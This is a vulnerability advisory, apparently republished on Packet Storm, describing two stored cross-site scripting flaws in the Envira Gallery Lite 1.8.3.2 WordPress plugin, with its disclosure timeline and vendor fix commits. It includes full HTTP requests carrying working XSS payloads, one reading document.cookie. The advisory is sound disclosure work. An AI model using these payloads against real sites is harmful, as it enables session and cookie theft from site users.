exploit the possibilities

Envira Gallery Lite 1.8.3.2 Cross Site Scripting

Envira Gallery Lite 1.8.3.2 Cross Site Scripting
Posted Jan 13, 2021
Authored by Rodolfo Tavares | Site tempest.com.br

Envira Gallery Lite edition version 1.8.3.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2020-35581, CVE-2020-35582
MD5 | 4f29341ba3923a4083599b429f88437b

Envira Gallery Lite 1.8.3.2 Cross Site Scripting

Change Mirror Download
==== [Tempest Security Intelligence - ADV-12/2020]
=============================

Envira Gallery - Lite Edition - Version 1.8.3.2
Author: Rodolfo Tavares
Tempest Security Intelligence - Recife, Pernambuco - Brazil


===== [Table of Contents] ================================================
• Overview
• Detailed description
• Disclosure timeline
• Acknowledgements
• References


===== [Vulnerability Information]
===========================================
Category: Improper Neutralization of an Input while Generating a Web Page.

('Cross-site Scripting') [CWE-79]
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N


===== [Overview] ======================================================
Affected system: Envira Gallery – Lite Edition
Software version: Lite - 1.8.3.2
Impacts: The browser of the end-user doesn't have a way to know whether the
script should be trusted or not, and ends up executing it. Since the
browser believes that the script is from a trusted source, it can access
any cookies, session tokens, and other sensitive information that is
retained by the browser and used on the website. The script can also be
used to redirect the victim into a malicious website, in order to perform a
phishing attack or steal information.


==== [Detailed description] ================================================
Envira Gallery Lite Edition - Version 1.8.3.2 is vulnerable to an XSS that
is stored through the meta[title] parameter and a second XSS, which is
stored through the post_title parameter.




[1]- XSS located at http://localhost:8080/wp-admin/post.php and stored
through the post_title parameter:
To exploit the XSS through POST, insert a single char in the endpoint
post.php and in the parameter post_title, then close the current by
including a javascript payload. As showed on the example bellow:


POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1771
Origin: http://localhost:8080
Connection: close
Cookie: [cookies]
_wpnonce=2671a27a51&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=envira&original_post_status=publish&referredby=
http://localhost:8080/wp-admin/edit.php?post_type=envira&_wp_original_http_referer=http://localhost:8080/wp-admin/edit.php?post_type=envira&post_ID=2933&meta-box-order-nonce=3751b8aa86&closedpostboxesnonce=d58bcab0d3&post_title=nf3
"onfocus="alert(2)"autofocus="n3fx8&samplepermalinknonce=24f9403378&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=12&jj=16&aa=2020&hh=14&mn=22&ss=03&hidden_mm=12&cur_mm=12&hidden_jj=16&cur_jj=16&hidden_aa=2020&cur_aa=2020&hidden_hh=14&cur_hh=20&hidden_mn=22&cur_mn=09&original_publish=Update&save=Update&_envira_gallery[type]=default&async-upload=&post_id=2933&envira-gallery=031bef86cc&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&_envira_gallery[type_default]=1&_envira_gallery[columns]=0&_envira_gallery[lazy_loading]=1&_envira_gallery[lazy_loading_delay]=500&_envira_gallery[justified_row_height]=150&_envira_gallery[justified_margins]=1&_envira_gallery[gallery_theme]=base&_envira_gallery[gutter]=10&_envira_gallery[margin]=10&_envira_gallery[image_size]=default&_envira_gallery[crop_width]=640&_envira_gallery[crop_height]=480&_envira_gallery[lightbox_enabled]=1&_envira_gallery[lightbox_theme]=base&_envira_gallery[lightbox_image_size]=default&_envira_gallery[title_display]=float&_envira_gallery[title]=nf3&_envira_gallery[slug]=change-the-gallery-title&_envira_gallery[classes]=





[2]- XSS stored at [/wp-admin/admin-ajax.php]
To exploit the XSS through POST, insert a single char in the endpoint
wp-admin/admin-ajax.php and in the parameter meta[title], close the current
one by inserting a double quote ("), and then insert a javascript payload.
As showed on the example bellow:


POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/post.php?post=2931&action=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 541
Origin: http://localhost:8080
Connection: close
Cookie: [cookies]
nonce=bb7f61ad8e&post_id=2931&attach_id=2937&meta[id]=2937&meta[title]=bug"onmousemove="alert(document.cookie)&meta[caption]=&meta[alt]=&meta[link]=&meta[status]=active&meta[src]=&meta[thumb]=&meta[_thumbnail]=&action=envira_gallery_save_meta


==== [Disclosure timeline] ================================================
17/Dez/2020 – Initiated the responsible disclosure with the vendor.
17/Dez/2020 - Envira Gallery confirmed the issue.
18/Dez/2020 - The vendor fixed the vulnerability on the first XSS.
19/Dez/2020 - The vendor fixed the vulnerability on the second XSS.
22/May/2020 - CVEs were assigned and reserved as CVE-2020-35581,
CVE-2020-35582


=====[Acknowledgements]======================================= ========
Tempest Security Intelligence [5]


==== [References] ======================================================
[1][ https://cwe.mitre.org/data/definitions/79.html
[2][
https://github.com/enviragallery/envira-gallery-lite/commit/3b081dd10a1731f8cd981bebeac0e775fb217acf
]
[4][
https://github.com/enviragallery/envira-gallery-lite/commit/102651514e6faca914ec1c7e113def340d8e1e09
]
[5][ https://www.tempest.com.br
==== [EOF] ===========================================================

--


Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close